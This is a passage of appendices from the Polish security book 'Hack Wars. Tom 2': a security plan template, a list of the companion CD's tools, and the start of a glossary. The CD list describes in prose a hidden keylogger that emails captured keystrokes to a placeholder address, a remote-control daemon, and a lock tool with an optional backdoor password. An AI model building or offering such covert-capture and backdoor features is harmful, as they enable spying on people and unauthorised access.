systemu, włączając w to osprzęt, oprogramowanie oraz zasoby komunikacyjne.









Dołączyć informacje o wszystkich programach chroniących system
i informacje.

background image


Dodatek B

Szablony planu zabezpieczeń

369

369

Połączenia systemu i współdzielenie informacji









Podać listę połączonych systemów oraz ich identyfikatory (jeśli stosowane).









W przypadku połączenia z zewnętrznym systemem, który nie jest objęty
planem zabezpieczeń, należy krótko omówić wszystkie niezbędne kwestie
związane z zabezpieczeniami.









Przed połączeniem z innymi systemami oraz współdzieleniem wrażliwych
danych i informacji należy uzyskać pisemną autoryzację. Opisać zasady
zachowania, które muszą być zachowane przez połączone systemy.
Do planu zabezpieczeń dołączyć opis tych zasad lub omówić je w tej sekcji.

Prawo, regulacje i zasady mające wpływ na system









Zamieścić listę wszystkich praw, regulacji i zasad, które ustanawiają konkretne
wymagania dotyczące poufności, integralności oraz dostępności informacji
i danych w systemie.

Ogólny opis wrażliwości informacji









Ogólnie opisać informacje obsługiwane przez system, a także konieczność
wprowadzenia środków ochronnych. Te informacje muszą się odnosić
do wszystkich trzech podstawowych wymagań w zakresie zabezpieczeń
— dostępności, integralności i poufności. Dla każdej z trzech kategorii
(dostępności, integralności i poufności) wskazać, czy wymagania
pod względem zabezpieczeń są wysokie, średnie lub niskie.









Dołączyć oszacowanie ryzyka oraz wielkości szkód spowodowanych
przez utratę, niewłaściwe użycie, nieautoryzowany dostęp lub modyfikację
informacji w systemie.

Kontrola kierownicza

Ocena i zarządzanie ryzykiem









Opisać metodologię oceny poziomu ryzyka, jaka została użyta do identyfikacji
zagrożeń i słabych stron systemu. Dołączyć datę wykonania oceny ryzyka
systemu. Jeśli dla danego systemu nie wykonano oceny ryzyka, należy
dołączyć datę (miesiąc i rok) przewidywanego wykonania takiej analizy.

Przegląd środków kontroli zabezpieczeń









Wymienić wszystkie niezależne przeglądy zabezpieczeń systemu, jakie
zostały wykonane w ciągu ostatnich trzech lat.









Dołączyć informacje o typie wykonywanej oceny zabezpieczeń i osobie,
która ją przeprowadzała, a także przedstawić cel badania, jego wyniki
oraz działania, które zostały podjęte dzięki badaniu.

background image


370

Hack Wars. Tom 2. Na tropie hakerów

370

Zasady zachowania









Dla każdego systemu należy utworzyć pisemny zestaw zasad zachowania.
Zasady zachowania powinny być udostępnione wszystkim użytkownikom,
zanim uzyskają oni dostęp do systemu. Zaleca się, aby zasady zawierały
stronę z podpisami, na której użytkownik musi potwierdzić odbiór zasad.









Jasno zdefiniować odpowiedzialność i oczekiwane zachowanie wszystkich
osób, które uzyskują dostęp do systemu. W zasadach należy zawrzeć
informacje o konsekwencjach niewłaściwego zachowania lub nieprzestrzegania
zasad. Dołączyć niezbędne limity połączeń z innymi systemami.









Jako załącznik umieścić zasady zachowania dla systemu, a w tej sekcji
powinien znaleźć się numer właściwego załącznika. Możliwe jest także
dołączenie zasad do tej sekcji.

Planowanie zabezpieczeń w cyklu życia









Ustalić fazę (fazy) cyklu życia systemu lub jego poszczególnych części.









Opisać sposób zapewnienia bezpieczeństwa w fazie (fazach) cyklu życia,
w której obecnie znajduje się system.

Faza inicjacji









Umieścić odnośnik do oceny wrażliwości znajdującej się w sekcji Wrażliwość
przechowywanych informacji
.

Faza rozwoju i przejęcia









Czy w czasie projektowania systemu zidentyfikowano wymagania dotyczące
bezpieczeństwa?









Czy przed dostarczeniem systemu utworzono odpowiednie kontrole
zabezpieczeń wraz z powiązanymi procedurami badania i testowania?









Czy dokumenty ofertowe (na przykład zapytanie ofertowe) zawierały
wymagania dotyczące zabezpieczeń oraz procedur badawczych i testowych?









Czy te wymagania umożliwiają aktualizację zabezpieczeń w razie pojawienia
się nowych zagrożeń i słabych punktów oraz w przypadku wdrożenia nowych
technologii?









Jeśli zakupiono komercyjną aplikację lub aplikacja zawiera typowe komercyjne
programy, to czy zidentyfikowano i dołączono do specyfikacji przejęcia ich
wymagania wobec zabezpieczeń?

Faza implementacji









Czy wykonano przegląd projektu oraz testy systemowe przed rozpoczęciem
pracy przez system? Czy testy zostały w pełni udokumentowane? Czy system
otrzymał niezbędne certyfikaty?









Czy po zakończeniu projektowania dodano jakieś środki kontroli
zabezpieczeń?

background image


Dodatek B

Szablony planu zabezpieczeń

371

371









Czy aplikacja przeszła badania techniczne w celu sprawdzenia, czy spełnia
wymagania prawa, regulacji, zasad i standardów?









Czy aplikacja uzyskała certyfikaty i akredytacje? Kiedy? Jeśli system nie
uzyskał jeszcze autoryzacji, podać datę wysłania prośby o autoryzację.

Faza działania i obsługi

Plan zabezpieczeń dokumentuje czynności zabezpieczające wymagane w tej fazie.

Faza usuwania









W jaki sposób informacje są przenoszone do innego systemu, archiwizowane,
usuwane lub niszczone? Omówić środki kontroli używane do zapewnienia
poufności informacji.









Czy wrażliwe dane są szyfrowane?









W jaki sposób informacje są usuwane z systemu i kasowane w nim?









Czy informacje lub nośniki są oczyszczane, nadpisywane,
rozmagnesowywane czy niszczone?

Autoryzacja działania









Podać datę autoryzacji, nazwisko i stanowisko menedżera, który autoryzuje
przetwarzanie informacji w systemie.









Jeśli nie uzyskano autoryzacji, podać nazwisko i stanowisko menedżera, który
prosi o zgodę na działanie oraz datę tej prośby.

Kontrola operacyjna

Bezpieczeństwo personelu









Czy wszystkie stanowiska zostały zbadane pod kątem poziomu wrażliwości?









Czy wszyscy użytkownicy zostali przeszkoleni na poziomie stanowiska, które
im przydzielono?









Czy dostęp użytkowników został ograniczony do minimalnego poziomu,
wymaganego do wykonania pracy?









Czy istnieje system zamawiania, zakładania, wydawania i zamykania kont
użytkowników?









Czy krytyczne funkcje zostały rozdzielone między różne osoby (podział
obowiązków)?









Jakie mechanizmy zastosowano, aby użytkownicy byli odpowiedzialni
za swoje postępowanie? Opisać takie mechanizmy.









Jakie są procedury przyjaznego i nieprzyjaznego zakończenia procesu?

background image


372

Hack Wars. Tom 2. Na tropie hakerów

372

Ochrona fizyczna i środowiskowa

Opisać fizyczne zabezpieczenia systemu. Opisać obszar, na którym odbywa się przetwa-
rzanie informacji (na przykład blokady terminali, ogrodzenie wokół budynków lub te-
renów organizacji itp.). Należy omówić takie czynniki, jak kontrola dostępu, bezpie-
czeństwo pożarowe, awaria systemów wsparcia, zawalenie budynku, awaria kanalizacji,
przechwycenie danych oraz systemy mobilne i przenośne.

Kontrola produkcyjna oraz kontrola wejścia i wyjścia

Opisać środki kontroli używane do oznaczania, traktowania, przetwarzania, przecho-
wywania oraz usuwania informacji i nośników wejściowych i wyjściowych, a także
procedury etykietowania i dystrybucji informacji i nośników. Przedstawić listę środ-
ków kontroli do monitorowania instalacji i aktualizacji oprogramowania aplikacji.
Zamieścić opis stosowanych procedur, które obsługują działanie aplikacji. Poniżej
znajduje się kilka przykładów tematów, które powinny zostać omówione.









Wsparcie dla użytkowników: Czy istnieje komórka lub grupa ludzi zajmująca
się pomocą dla użytkowników?









Procedury, dzięki którym nieautoryzowane osoby nie mogą odczytać,
skopiować, zmienić ani ukraść wydrukowanych lub elektronicznych informacji.









Procedury, dzięki którym tylko autoryzowani użytkownicy mogą pobrać,
odebrać lub dostarczyć informacje wejściowe i wyjściowe oraz nośniki.









Ś

ledzenie odbioru ważnych danych wejściowych i wyjściowych.









Procedury ograniczające dostęp do urządzeń wyjściowych.









Procedury i środki kontroli przy transporcie lub wysyłce nośników i wydruków.









Zewnętrzny lub wewnętrzny system znakowania wrażliwości informacji.









Zewnętrzny system znakowania z instrukcjami dotyczącymi sposobu
traktowania (na przykład identyfikatory dziennika lub inwentarza, kontrolowany
dostęp, specjalne instrukcje dotyczące przechowywania, data wysłania
lub zniszczenia).









Kontrola śladów do celów zarządzania inwentarzem.









Procedury i środki kontroli fizycznej i środowiskowej ochrony miejsca
przechowywania nośników i biblioteki.









Procedury czyszczenia nośników elektronicznych w celu ponownego użycia
(na przykład nadpisanie lub rozmagnesowanie nośników elektronicznych).









Procedury kontrolowanego przechowywania, obsługi i zniszczenia uszkodzonych
nośników lub takich, które nie mogą być wyczyszczone w celu ponownego
użycia.









Procedury fizycznego zniszczenia wydruków, które nie są już potrzebne.

background image


Dodatek B

Szablony planu zabezpieczeń

373

373

Planowanie awaryjne

Krótko opisać procedury (plan zapasowy), które pozwolą na kontynuację obsługi
przez system wszystkich krytycznych aplikacji w przypadku wystąpienia katastrofy.
Jeśli formalny plan zapasowy został w pełni utworzony, należy umieścić odnośnik do
niego. Kopia planu zapasowego może być załącznikiem. W tej sekcji należy dołączyć
następujące, wymienione poniżej, elementy.









Wszystkie umowy o obsługę archiwizacji (na przykład kontrakt z komercyjnym
dostawcą usług).









Udokumentowane procedury archiwizacji, włączając ich częstotliwość
(codziennie, tygodniowo, miesięcznie) oraz zakres (pełna kopia awaryjna,
kopia przyrostowa lub różnicowa).









Miejsce przechowywania kopii zapasowych oraz liczbę utrzymywanych
generacji kopii zapasowych.









Czy istnieją przetestowane plany zapasowe na wypadek wystąpienia groźnego
zdarzenia? Jak często są testowane?









Czy wszyscy pracownicy zostali przeszkoleni w zakresie swoich ról
i odpowiedzialności dotyczących planów awaryjnych, ratunkowych
i na wypadek katastrofy?

Kontrola obsługi sprzętu i oprogramowania

Te środki kontroli obejmują:









restrykcje oraz środki kontroli osób wykonujących obsługę lub naprawę systemu;









specjalne procedury pozwalające na zapewnienie odpowiedniej wydajności
naprawy i obsługi;









procedury stosowane dla elementów serwisowanych na miejscu oraz poza
organizacją (na przykład towarzyszenie serwisantom, oczyszczanie nośników
zabieranych z biura);









procedury stosowane do kontroli usług zdalnej obsługi, kiedy procedury
diagnostyczne lub serwisowe są wykonywane przy użyciu mediów
telekomunikacyjnych;









kontrola wersji, która pozwala na powiązanie komponentów systemu
z właściwą wersją systemu;









procedury testowania i zatwierdzania komponentów systemu (system
operacyjny, inny system, narzędzia i aplikacje) przed przekazaniem do użytku;









analizy wpływu efektu proponowanych zmian na istniejące środki kontroli
zabezpieczeń, co obejmuje także wymagane szkolenia zarówno dla techników,
jak i użytkowników, odnoszące się do proponowanej zmiany w oprogramowaniu
lub sprzęcie;









procedury zmiany identyfikacji, akceptacji i dokumentacji;

background image


374

Hack Wars. Tom 2. Na tropie hakerów

374









procedury pozwalające upewnić się, czy plany zapasowe i powiązana
dokumentacja jest aktualizowana wraz ze zmianami systemu;









ustalenie, czy dane testowe były danymi rzeczywistymi, czy spreparowanymi;









zasady organizacji dotyczące nielegalnego użycia oprogramowania objętego
prawami autorskimi lub typu shareware.

Kontrola integralności









Czy zainstalowano oprogramowanie do wykrywania i eliminacji wirusów?
Jeśli tak, to czy istnieją procedury do aktualizacji plików podpisów wirusów,
automatycznego lub ręcznego skanowania antywirusowego oraz usuwania
wirusów i tworzenia raportów?









Czy stosowane są przez system procedury kontrolne — na przykład sumy
kontrolne, sumy hash i liczniki rekordów? Należy dołączyć opis działań
podjętych w celu usunięcia wszelkich niezgodności.









Czy używane są narzędzia do sprawdzania i łamania haseł?









Czy aplikacje korzystają z programów do weryfikacji integralności w celu
wyszukania dowodów na manipulację danymi, błędów oraz pominięć?









Czy w systemie zainstalowano narzędzia do wykrywania włamania?









Czy używana jest funkcja monitorowania wydajności systemu w celu analizy
dzienników wydajności systemu w czasie rzeczywistym, wyszukiwania
problemów z dostępnością (włączając w to aktywne ataki) oraz awarii lub
spowolnienia pracy systemu i sieci?









Czy w systemie są wykonywane testy penetracji? Jeśli tak, to jakie procedury
są stosowane w celu zapewnienia prawidłowego wykonywania takich testów?









Czy system używa funkcji uwierzytelniania wiadomości w celu upewnienia
się, czy nadawca wiadomości jest znany, a wiadomość nie została zmieniona
w czasie transmisji?

Dokumentacja

Dokumentacja systemu obejmuje opisy sprzętu i programów, zasady, standardy, pro-
cedury oraz akceptacje odnoszące się do bezpieczeństwa zautomatyzowanego systemu in-
formatycznego (aplikacja oraz system obsługi, na którym jest ona wykonywana). Na-
leży tu także dołączyć opis procedur archiwizacji oraz planu zapasowego, a także opis
procedur użytkownika i operatora.









Przedstawić listę dokumentacji systemu (dokumentacja sprzętu i programów
producenta, wymagania funkcjonalne, plan zabezpieczeń, plan zabezpieczeń
systemu ogólnego wsparcia, podręczniki aplikacji, dokumentacja wyników
testów, standardowe procedury operacyjne, procedury awaryjne, plany zapasowe,
zasady i procedury użytkownika, ocena ryzyka, dokumenty i oświadczenia
o certyfikatach i akredytacji, przeglądy weryfikacyjne i inspekcje).

background image


Dodatek B

Szablony planu zabezpieczeń

375

375

Znajomość zabezpieczeń i szkolenia









Opisać program świadomości systemu (plakaty, foldery i inne).









Opisać typ i częstotliwość szkoleń w zakresie obsługi systemu ogólnego
wsparcia, przeprowadzanych dla pracowników oraz osób współpracujących
(seminaria, warsztaty, zajęcia w klasach, grupy dyskusyjne, odgrywanie ról
oraz szkolenie w trakcie pracy).









Opisać procedurę sprawdzania, czy pracownicy i osoby współpracujące
przeszły niezbędne szkolenia.

Możliwość zgłaszania wypadków naruszenia bezpieczeństwa









Czy istnieją procedury zgłaszania naruszeń bezpieczeństwa, obsługiwane
przez personel organizacji lub na zewnątrz?









Czy istnieją procedury rozpoznawania i reakcji na takie zdarzenia (na przykład,
które pliki i dzienniki powinny być zachowane, z kim i kiedy należy się
skontaktować)?









Kto odbiera i odpowiada na alarmy i informacje o poprawkach
oprogramowania lub o zbadanych słabych punktach?









Jakie stosuje się środki zabezpieczające (na przykład narzędzia do wykrywania
włamania, zautomatyzowane dzienniki kontroli, testy penetracji)?

Kontrola techniczna

Identyfikacja i uwierzytelnianie









Opisać metodę uwierzytelniania użytkowników (hasło, token lub cechy
biometryczne).









Jeśli stosowany jest system haseł, podaj następujące informacje:



dozwolony zestaw znaków;



długość hasła (minimalna i maksymalna);



okres upływu ważności hasła oraz sposób wymuszania jego zmiany;



liczbę niedozwolonych generacji starych haseł;



procedury zmiany hasła;



procedury obsługi zagubionych haseł;



procedury obsługi naruszenia systemu haseł.









Opisać procedury szkolenia użytkowników oraz użyte materiały.









Wskazać częstotliwość zmiany haseł, opisać sposób wymuszenia zmiany
hasła (na przykład przez program lub administratora systemu) oraz podać
osobę, która zmienia hasło (użytkownik, system lub administrator systemu).

background image


376

Hack Wars. Tom 2. Na tropie hakerów

376









Opisać stosowane sposoby kontroli cech biometrycznych. Należy dołączyć
opis sposobu implementacji tych sposobów w systemie.









Opisać używane przez system środki kontroli tokenów oraz sposób ich
implementacji.









Opisać poziom wymuszania mechanizmu kontroli dostępu (sieć, system
operacyjny lub aplikacja).









Opisać sposób obsługi poszczególnych kont i kontroli śladów (na przykład,
czy hasła są powiązane z identyfikatorem użytkownika, który jest przydzielony
tylko dla jednej osoby) przez mechanizm kontroli dostępu.









Opisać techniki własnego zabezpieczenia mechanizmu uwierzytelniania
użytkownika (na przykład, czy hasła są przesyłane i przechowywane
przy użyciu jednokierunkowego szyfrowania tak, że nikt, włączając w to
administratora, nie może odczytać haseł w czystym tekście; czy hasła są
generowane automatycznie; czy hasła są porównywane ze słownikiem
niedozwolonych haseł; czy hasła są szyfrowane w czasie przesyłania).









Podać liczbę nieudanych prób dostępu, jaka może wystąpić dla danego
identyfikatora użytkownika lub miejsca dostępu (terminal lub port),
a także opisać działania, jakie zostaną podjęte po przekroczeniu limitu.









Opisać procedurę weryfikacji, czy zostały zmienione wszystkie domyślne
hasła administratorów ustawionych systemowo.









Opisać procedury ograniczania skryptów dostępowych z dołączonym hasłem
(na przykład, czy skrypty z dołączonym hasłem są zabronione lub dozwolone
tylko dla aplikacji wsadowych).









Opisać wszystkie zasady, które pozwalają na pominięcie wymagań dotyczących
uwierzytelniania użytkownika, technologie „pojedynczego podpisu” (na przykład
bezpośrednie połączenie dwóch komputerów, serwery uwierzytelniania,
identyfikator „użytkownik do hosta” oraz identyfikatory grup użytkowników),
a także wszystkie środki kontroli naruszenia uwierzytelniania.

Logiczna kontrola dostępu









Omówić środki kontroli, które są stosowane do autoryzacji lub ograniczenia
działalności użytkowników lub personelu systemowego w ramach aplikacji.
Opisać funkcje sprzętu lub oprogramowania, które zostały utworzone w celu
umożliwienia tylko autoryzowanego dostępu do aplikacji lub wewnątrz niej,
do ograniczenia działań użytkowników tylko do autoryzowanych transakcji
i funkcji, a także do wykrywania nieautoryzowanych działań (na przykład
listy kontroli dostępu ACL).









Opisać sposób przyznawania uprawnień dostępowych. Czy przywileje są
przydzielane w oparciu o wykonywane zadania?









Opisać możliwość utworzenia przez aplikację listy kontroli dostępu ACL
lub rejestru.

background image


Dodatek B

Szablony planu zabezpieczeń

377

377









Opisać sposób, w jaki ogranicza się użytkownikom aplikacji dostęp do
systemu operacyjnego, innych aplikacji lub innych zasobów systemowych,
które nie są wymagane podczas wykonywania przez nich swoich obowiązków.









Opisać środki kontroli używane do wykrywania nieautoryzowanych prób
transakcji przez autoryzowanych lub nieautoryzowanych użytkowników.
Opisać wszystkie ograniczenia, które uniemożliwiają użytkownikom
uzyskanie dostępu do systemu lub aplikacji poza normalnymi godzinami
pracy lub w czasie weekendów. Należy opisać zastosowane ograniczenia.









Wskazać, po jakim okresie braku aktywności użytkownika system automatycznie
oczyszcza wyświetlany obraz, a po jakim czasie system automatycznie
odłącza nieaktywnych użytkowników lub wymaga od nich ponownego
podania unikalnego hasła w celu przyłączenia się do systemu lub aplikacji.









Wskazać, czy do uniemożliwienia nieautoryzowanego dostępu do wrażliwych
plików jest stosowane szyfrowanie jako część procedur kontroli dostępu
do systemu lub aplikacji.









Uzasadnić decyzję o użyciu banerów ostrzegawczych lub ich braku; dołączyć
przykłady używanych banerów.

Śledzenie śladów









Czy funkcja śledzenia śladów współpracuje z funkcją obsługi kont, dzięki
czemu można uzyskać zapis działań użytkownika?









Czy funkcja śledzenia śladów została zaprojektowana i wdrożona w celu
zapisywania niezbędnych informacji, które mogą pomóc w wykrywaniu
włamania?









Czy funkcja śledzenia śladów obejmuje wystarczająco dużo informacji,
aby ustalić typ zdarzeń i ich sprawcę? Należy tu umieścić typ zdarzenia, datę
wystąpienia zdarzenia, identyfikator użytkownika powiązany ze zdarzeniem
oraz program lub polecenie użyte do rozpoczęcia zdarzenia.









Czy dostęp do dzienników funkcji śledzenia jest ściśle kontrolowany?









Czy zapewniona jest poufność informacji funkcji śledzenia śladów, jeśli
na przykład są zapisywane osobiste dane użytkowników?









Jak często są przeglądane dane funkcji śledzenia śladów? Czy istnieją zasady
takiego przeglądu?









Czy właściwy administrator na poziomie systemu lub aplikacji przegląda
dane funkcji śledzenia śladów, badając znany problem systemu albo aplikacji,
znany przypadek naruszenia istniejących wymagań przez użytkownika
lub niewyjaśniony problem związany z systemem lub użytkownikiem?

background image


378

Hack Wars. Tom 2. Na tropie hakerów

378


background image

379

Dodatek C

Zawartość płyty CD

Dołączony do tej książki CD-ROM zawiera programy, kody źródłowe oraz pliki, o któ-
rych wspomniano w tym tomie. Zawartość płyty podzielono na następujące foldery:
Roz_1, Roz_2, Roz_3_4, TigerSurf oraz Lista portów.

Rozdział 1.

Folder Roz_1 zawiera następujące podkatalogi:









Tcp_wrappers. Kolekcja osłon TCP z przykładowymi kompilacjami tcpd.
Obsługiwane są następujące systemy operacyjne UNIX: AIX, Digital, HP-UX,
Solaris, SunOS i Linux.









TigerFTPServ. Kompilacja FTP dla domowych i prywatnych użytkowników,
którzy wolą mieć pełną kontrolę nad tą usługą. Ten program pozwala
użytkownikom na udostępnienie dostępu FTP dla znajomych i członków
rodziny. Dostępne funkcje to opcje poleceń, uprawnienia dostępu do plików
i katalogów oraz opcje potoków sesji. Program zawiera także szperacza sesji,
dzięki któremu wszystkie żądania połączenia i status transmisji są wyświetlane
w czasie rzeczywistym. TigerFTPServ może być modyfikowany, dystrybuowany
i wykorzystywany w dowolny sposób.









TigerTelnetServ. Ten program pozwala domowym i prywatnym użytkownikom,
którzy wolą mieć pełną kontrolę nad bezpieczeństwem, na udostępnienie
bezpiecznego dostępu telnetowego dla własnych celów, a także dla znajomych
i członków rodziny. TigerTelnetServ może być modyfikowany, dystrybuowany
i wykorzystywany w dowolny sposób. Polecenia obsługiwane przez tę wersję
obejmują przeglądanie katalogów, podgląd plików, wyszukiwanie użytkownika,
rozłączenie użytkownika oraz wyłączenie demona. Możliwe jest dodanie
kolejnych funkcji.









TigerTFTPServ. Program dla domowych i prywatnych użytkowników,
którzy chcą uzyskać pewną kontrolę nad usługą TFTP. TigerTFTPServ
to okrojona wersja FTP, nasłuchująca na porcie 69 żądań połączeń TFTP.

background image


380

Hack Wars. Tom 2. Na tropie hakerów

380

Zgodnie z zasadami TFTP program pozwala tylko na jeden potok połączenia
(maksymalna liczba połączeń może być łatwo zmodyfikowana) do pojedynczego
katalogu w celu transferu pliku. Możliwa jest modyfikacja kodu narzędzia
w celu akceptacji uwierzytelnionych użytkowników. Ta wersja obsługuje
anonimowe sesje; dołączono także szperacza sesji w celu monitorowania
każdego transferu z katalogu c:/tftp.









TigerInspect. Program umożliwia skanowanie portów wraz z zarządzaniem
listami usług oraz funkcjami dla użytkowników domowych, prywatnych
i korporacyjnych. Ta wersja pozwala na pięć jednoczesnych wątków pracy,
co oznacza, iż po uruchomieniu program będzie skanował pięć portów. Liczba
wątków może być zwiększona przez dodanie potoków

Winsock

(

x

), gdzie (

x

)

wskazuje następny wątek (w tym przypadku sześć).









Konie trojańskie. Folder zawiera programy AntiGen i BoDetect, które
automatycznie wykrywają, oczyszczają i usuwają z komputerów program
BoServ (Back Orifice Server). AntiGen to darmowy program z firmy Fresh
Sofware. Uwaga: choć oba narzędzia działają sprawnie, nowsze mutacje
BoServ mogą pozostać niezauważone.

W folderze znajduje się także NetBus Detective — sprytny mały programik,
który nie tylko usuwa NetBusa z systemu, ale także wyświetla odpowiedni
komunikat dla niczego nie spodziewającego się hakera, jednocześnie
zapisując jego adres IP i nazwę komputera. NetBus Protection System to kolejne
narzędzie do wykrywania NetBusa, które może zostać skonfigurowane na
wyłączanie tej szkodliwej usługi oraz informowanie o zdalnym ataku hakera.









TigerWipe. Program wyświetlający listę procesów systemowych, włączając
w to zwykle ukryte procesy. Użycie narzędzia jest proste — podświetl
szkodliwy proces i kliknij przycisk Wipe. Dołączono także kod źródłowy,
więc użytkownicy mogą go modyfikować w celu automatyzacji technik
opisanych w tej książce. Ulepszony w ten sposób program staje się
narzędziem do wykrywania koni trojańskich, które nie tylko przerywa
szkodliwy proces, ale i wykonuje wszystkie kroki niezbędne do jego
usunięcia. Zamieszczona na płycie wersja działa wyjątkowo dobrze jako
ręczny interfejs.









TigerGuard. Narzędzie do blokowania i obserwacji portów. TigerGuard
pozwala użytkownikom tworzyć, ładować i zapisywać własne listy zasad.
W obecnej wersji demon zapisuje zdalne ataki hakerów, blokuje je i alarmuje
w wypadku ich wystąpienia. Jest to powiązane z zasadami zabezpieczeń
użytkownika (TigerGuard obsługuje domyślnie do 500 własnych zasad).
Aby szybko rozpocząć zabezpieczanie, możliwe jest wstępne załadowanie
standardowej i domyślnej listy zasad.









Lamer. Demon zdalnej kontroli połączony z technikami dystrybucji, które
zostały opisane w rozdziale 1. W celu zapewnienia większego bezpieczeństwa
wyłączono funkcje ukrytego serwera. Serwer i klient może być uruchomiony
na tej samej stacji roboczej w celu przetestowania.

background image


Dodatek C

Zawartość płyty CD

381

381









Java. Napisana w Javie prosta i łatwa do implementacji adaptacja frontonu
logowania. Skrypty logowania, ASP i VB oraz zabezpieczone hasłem pliki
wykonywalne CGI mogą odstraszyć wielu napastników.









TigerPass. Program bramy wewnętrznego logowania, który może być łatwo
przekonwertowany do frontonu CGI. Program automatycznie przeszukuje
małą bazę danych login.mdb w celu uzyskania informacji o kontach dostępu
i odnośnikach krzyżowych.









Loader.asm. Starożytny, tajny, chiński kod źródłowy osobistego programu
do ładowania poprawek.

Rozdział 2.

Folder Roz_2 zawiera następujące programy:









TigerLog. Program pozwalający na pełną, ukrytą kontrolę zapisu wszystkich
wciskanych klawiszy; odpowiedni dla użytkowników domowych i prywatnych.
TigerLog umożliwia modyfikację listy wciskanych klawiszy, które należy
przechwytywać, zmianę sekwencji klawiszy aktywacji widocznego szperacza
sesji (aktualnie Shift+F12) oraz zmianę domyślnej nazwy i położenia pliku
dziennika (//Windows/System/TigerLog.TXT). Po zapełnieniu dziennika program
wysyła jego zawartość na podany adres e-mailowy (ktos@serwer_poczty.com)
przy użyciu serwera SMTP (poczta.serwer_poczty.net).









BombSquad. Narzędzie utworzone głównie do usuwania bomb pocztowych
z serwera, pozwalając jednocześnie na odczytanie i zapisanie ważnych
wiadomości. BombSquad może być użyty dla każdej skrzynki pocztowej,
które obsługuje standardowy protokół POP3.









TigerCrypt. Program używa 128-bitowego szyfrowania w celu zapewnienia
bezpieczeństwa i prywatności osobistych haseł. Ta wersja obsługuje wiele
profili użytkowników. Użytkownik wybiera zarejestrowany profil z rozwijanej
listy lub utworzy nowy. Przez główny interfejs TygerCrypta użytkownicy
mogą dodawać lub usuwać zaszyfrowane konta logowania. Program bezpiecznie
przechowuje i odczytuje wiele nazw logowania, haseł, nazw serwerów
i informacji o kontach; są one dostępne tylko po podaniu hasła danego profilu.
Zaszyfrowane dane mogą być również eksportowane i importowane do plików.

TigerCrypt zawiera także generator losowych haseł w celu natychmiastowego
tworzenia skomplikowanych haseł. Odpowiednia opcja interfejsu umożliwia
wybór długości hasła oraz dostępnych znaków (duże i małe litery, cyfry, klawisze
rozszerzone i symbole), które mają być losowo stosowane.









Ifstatus. Popularny program uniksowy, który może być uruchamiany
w celu identyfikacji kart sieciowych pracujących w trybie podsłuchowym
lub wykrywania błędów. To narzędzie nie wyświetla zwykle żadnych
komunikatów wynikowych, chyba że odnajdzie karty sieciowe pracujące
w niezabezpieczonym trybie.

background image


382

Hack Wars. Tom 2. Na tropie hakerów

382









Encryptor. Program udostępniający funkcje szyfrowania dla użytkowników
firmowych, domowych oraz prywatnych. Technika szyfrowania zapewnia
proste funkcje szyfrowania w celu zabezpieczenia danych. Kod źródłowy nie
jest skomplikowany, dzięki czemu jego modyfikacja do prywatnego użytku
nie powinna być trudna. Aby zapisać dane do szyfrowania, należy użyć listy
katalogów po prawej stronie w celu dotarcia do ścieżki, w której ma być
umieszczony zaszyfrowany plik. W tym momencie należy wprowadzić klucz
szyfrowania i kliknąć Zapisz. Ładowanie zaszyfrowanych plików to po prostu
ponowne użycie listy katalogów po prawej stronie i wybranie właściwego pliku.









CGIScan. Skaner do wykrywania prób włamania, który umożliwia
skanowanie CGI i ręczne testowanie słabości CGI. W chwili obecnej istnieje
407 potencjalnych słabych punktów CGI, które należy przetestować.

Rozdziały 3. i 4.

W folderze Roz_3_4 można odnaleźć następujące narzędzia:









WinLock. Program blokujący, który może rozwiązać problemy z hasłem
stacji roboczej. Po uruchomieniu należy odblokować interfejs WinLocka
w celu kontynuacji. W dowolnym momencie można dokonać ręcznej
aktywacji programu, na przykład przy opuszczaniu biura. Narzędzie może
być skonfigurowane na inicjalizację w czasie startu systemu. Opcją WinLocka
jest umieszczenie hasła tylnych drzwi w czasie kompilacji kodu źródłowego.









Port Watcher. Prosty program do obserwacji portów, będący przykładem
firewalla. Port Watcher został użyty w rozdziale 3. jako środek
zabezpieczający Windows NT przed atakiem DoS.

TigerSurf

TigerSurf to program znajdujący się w folderze towarzyszącym zawartości rozdziału 4.
i dodatku A. To narzędzie, które obejmuje bezpieczny, wielopotokowy mechanizm
przeszukiwania Internetu; jest oparty o bezpieczny moduł przeglądarki internetowej.
TigerSurf ma chronić użytkowników przed szkodliwymi stronami sieciowymi, prze-
pełnieniem przeglądarki (nigdy więcej ogromnej liczby wyskakujących okien) oraz
zdalnymi końmi trojańskimi. TigerSurf obsługuje wszystkie wtyczki Microsoft Internet
Explorer oraz własne filtry, a także jest kompatybilny ze wszystkimi internetowymi
językami programowania. Inne funkcje (opisane w kolejnych częściach) obejmują:









edytor HTML,









TigerWatch,









TigerBlock,









skanowanie zabezpieczeń,









TigerSearch,

background image


Dodatek C

Zawartość płyty CD

383

383









TigerTrack,









FTP,









Telnet,









przechwytywanie ekranu,









przeglądarkę zdjęć.

Lista portów

Na dołączonym do książki CD-ROM-ie znajduje się również folder zawierający pełną
listę znanych i definiowanych przez producentów portów usług aż do portu 49151.
Numery portów są podzielone na dwie grupy:









znane porty: od 0 do 1023,









ukryte porty: od 1024 do 49151.

Znane porty są przydzielane przez IANA, a w przypadku większości systemów mogą
być używane tylko przez procesy systemowe (lub roota) albo procesy uruchamiane
przez uprzywilejowanych użytkowników. Porty są używane przez TCP [RFC 793],
aby nazwać końce logicznych połączeń, które przenoszą długoterminowe rozmowy.
Kontaktowy port usługi jest definiowany, aby udostępnić usługi nieznanym, wywołują-
cym je, osobom. Na liście znalazły się porty używane przez procesy serwera jako porty
kontaktowe. Porty kontaktowe są czasami nazywane „znanymi portami”. W maksy-
malnym możliwym stopniu te same porty są używane w przypadku UDP [RFC 768].
Zarządzane przez IANA porty obejmują zakres od 0 do 1023.

background image


384

Hack Wars. Tom 2. Na tropie hakerów

384

background image

389

Dodatek F

Słowniczek najważniejszych
pojęć

802.3 — standard IEEE 802.3.

10BaseT — specyfikacja IEEE 802.3 warstwy fizycznej sieci Ethernet o przepusto-
wości 10 Mb/s opartej na nieekranowanym dwuparowym kablu, nazywanym skrętką.

Akredytacja — rodzaj poświadczenia lub certyfikatu, wydanego przez wyznaczoną
znaną i zaufaną osobę lub organizację, potwierdzającego spełnienie przez aplikację
określonego poziomu wymogów bezpieczeństwa.

Aktywacja — moment i sposób, w jaki zostaje wykonany kod wirusa, infekując w tym
momencie kolejny system operacyjny. Aby wirus mógł zarazić system, musi w nim zostać
choćby raz uruchomiony. Samo skopiowanie nie wystarcza, gdyż jest wtedy traktowany
jak zwykłe dane. Muszą zajść okoliczności, w których system potraktuje dane zawierające
wirusa jako kod wykonywalny czy skrypt.

API (Application Programming Interface) — ustalony sposób komunikowania się
systemu operacyjnego z warstwą aplikacji.

